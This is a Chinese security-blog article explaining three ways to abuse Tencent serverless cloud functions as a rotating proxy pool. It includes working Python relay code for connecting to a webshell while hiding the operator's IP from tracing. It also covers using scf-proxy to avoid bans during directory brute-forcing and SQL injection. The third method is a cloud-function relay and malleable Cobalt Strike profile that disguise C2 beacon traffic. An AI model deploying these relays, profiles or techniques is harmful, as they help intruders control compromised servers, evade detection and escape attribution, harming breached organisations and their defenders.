freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

云函数(变相代理池)的三种常见利用
2021-10-26 14:17:49
所属地 湖南省

前言

之前学到一些云函数的利用,感觉很有趣,于是借此篇来总结一下三种对云函数的简单利用方式。

云函数

云函数(Serverless Cloud Function,SCF)是腾讯云为企业和开发者们提供的无服务器执行环境,帮助您在无需购买和管理服务器的情况下运行代码。您只需使用平台支持的语言编写核心代码并设置代码运行的条件,即可在腾讯云基础设施上弹性、安全地运行代码。SCF 是实时文件处理和数据处理等场景下理想的计算平台。总结云函数的几个特性:

  1. 多出口

  2. 调用时创建执行

  3. 无需服务器承载

防溯源连接Webshell

之前最好的是某安全攻防实验室公众号发布了一篇<论如何防溯源连接Webshell>,利用云函数多出口的特性来规避溯源,可惜的是不久后就该文章就被删除了。以下介绍实际的利用方式。

云函数创建

选择自定义创建,

1635227591_617797c746249ea706e6a.jpg!small

函数代码中脚本如下,主要是通过将Webshell地址作为参数传入云函数API中,在云函数服务端脚本中重组Webshell地址以及POST命令内容,将重组后的请求内容转发给Webshel。

#!/usr/bin/env# -*- coding:utf-8 -*-import requestsimport jsonfrom urllib.parse import urlsplitdef geturl(urlstr):jurlstr = json.dumps(urlstr)dict_url = json.loads(jurlstr)return dict_url['u']def main_handler(event, context):url = geturl(event['queryString'])host = urlsplit(url).netlocpostdata = event['body']headers=event['headers']headers["HOST"] = hostresp=requests.post(url,data=postdata,headers=headers,verify=False)response={"isBase64Encoded": False,"statusCode": 200,"headers": {'Content-Type': 'text/html;charset='+resp.apparent_encoding},"body": resp.text}return response

1635227607_617797d75ab8a6d2af61c.jpg!small

在触发器配置中选择API网关触发,然后点击创建,过一会会提示创建成功。

https://service-dafetmeh-xxxx/release/Webshell_Bypass?u=http://xxxx/webshell.php   

1635227617_617797e179dcff41a0424.jpg!small

1635227627_617797eb14195cccd691b.jpg!small

利用

我们可以通过蚁剑直接连接Webshell,URL请求地址填为api地址+webshell地址,

1635227637_617797f578b5f632d52df.jpg!small

然后端通过监控日志查看访问webshell的ip地址,

1635227646_617797fe20591ce2f457d.jpg!small

通过access.log可以发现每次请求都是不同的ip地址并且都是来自上海地区的腾讯云(根据自己选择地区而改变)。

1635227656_617798080a6daf23dfe19.jpg!small

通过云函数的方法我们便可以隐藏连接Webshell的本机IP地址,从而防止溯源,如果使用可以蚁剑,为了达到更隐秘的目的,可以自行对Webshell流量进行加解密的操作来逃逸流量检测,流量检测+白名单IOC的方式可以完美的逃避检测。

注入/目录爆破爆破防Ban

云函数其实也可以作为一种变相的代理池供我们所用,利用云函数的多出口性来防止爆破或者SQL注入的时候被Ban。

云函数创建

这里可以哈希安全团队公开的SCF-Proxy来实现,第一次看到Scf-Proxy的概念的应该是学蚁致用的作者,通过客户端监听获取请求并且组装API请求,服务端云函数解析且重组API请求,通过SCF-Proxy不光可以实现代理http请求,也可以代理https请求(类似Burp中间人监听的方式)。

项目地址:https://github.com/hashsecteam/scf-proxy

下载下来然后利用Golang编译客户端和服务端,这里我把客户端编译成Win版本使用,

还是选择自定义创建,但是这里要选择Go,而不是默认的python,并,执行方法改为server,且选择本地上传zip,将server.zip上传上去。

1635227665_61779811e1e2f3b5ddfb4.jpg!small

触发管理中依然选择API网关管理,创建完成后来到触发管理获取API地址。

1635227675_6177981b3ceacbaf97b98.jpg!small

利用

首先客户端开启监听./client.exe -port 10086云函数api地址,

1635227683_61779823efaadb81be661.jpg!small


此时再通过dirsearch设置http代理的方式爆破的目录,

1635227693_6177982d100568cb963d3.jpg!small


查看access_log可以看到爆破的ip地址分布,

1635227701_617798350de1d0123eca6.jpg!small


由于此次选择的是广州地区,于是访问的ip基本都是来自广州,

1635227742_6177985e7802788a1db16.jpg!small


也可以代理访问https网站,

1635227752_61779868232e5035f6d65.jpg!small


由此可以实现爆破目录以及Sqlmap的爆破不被Ban。

C2隐藏

通过云函数的特性,我们依然可以做到CS上线的隐藏,由于Cs支持HTTP/HTTPS类型的Beacon,因此我们也可以通过云函数来转发HTTP/HTTPS请求,该方法学习自狼组北美第一突破手师傅 。

云函数创建

与第一种别无二样,依然选择API网关触发的方式,就是云函数服务端脚本修改为如下:

# -*- coding: utf8 -*-import json,requests,base64def main_handler(event, context):C2='http://<C2服务器地址>' # 这里可以使用 HTTP、HTTPS~下角标~path=event['path']headers=event['headers']print(event)if event['httpMethod'] == 'GET' :resp=requests.get(C2+path,headers=headers,verify=False)else:resp=requests.post(C2+path,data=event['body'],headers=headers,verify=False)print(resp.headers)print(resp.content)response={"isBase64Encoded": True,"statusCode": resp.status_code,"headers": dict(resp.headers),"body": str(base64.b64encode(resp.content))[2:-1]}return response

Cs可以定制Profile来更加隐匿流量这里使用如下的Profile,

set sample_name "kris_abao";set sleeptime "3000";set jitter   "0";set maxdns   "255";set useragent "Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/5.0)";http-get {set uri "/api/getit";client {header "Accept" "*/*";metadata {base64;prepend "SESSIONID=";header "Cookie";}}server {header "Content-Type" "application/ocsp-response";header "content-transfer-encoding" "binary";header "Server" "Nodejs";output {base64;print;}}}http-stager {  set uri_x86 "/vue.min.js";set uri_x64 "/bootstrap-2.min.js";}http-post {set uri "/api/postit";client {header "Accept" "*/*";id {base64;prepend "JSESSION=";header "Cookie";}output {base64;print;}}server {header "Content-Type" "application/ocsp-response";header "content-transfer-encoding" "binary";header "Connection" "keep-alive";output {base64;print;}}}

创建完后放到将api.profile放到服务端Cs上,

可以通过c2lint检查一下profile,可以看到正常的定义http类型Beacon的get和post请求时的样子。

1635227775_6177987f9ddaf004ddc28.jpg!small


监听设置,

1635227783_617798874577f8900868c.jpg!small

生成木马,点击后上线。

1635227792_61779890a7e5fe9aa212c.jpg!small

公网地址会不断的跳,因为这里呈现的是请求源的IP,也就是我们的云函数IP地址,基本都是腾讯的IDC机房中的IP在该过程中遇到了一些问题,比如说Stager较大,导致请求超时,这时候可以修改代码加点演示设置即可。

# 黑客 # web安全 # 数据安全 # 网络安全技术
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录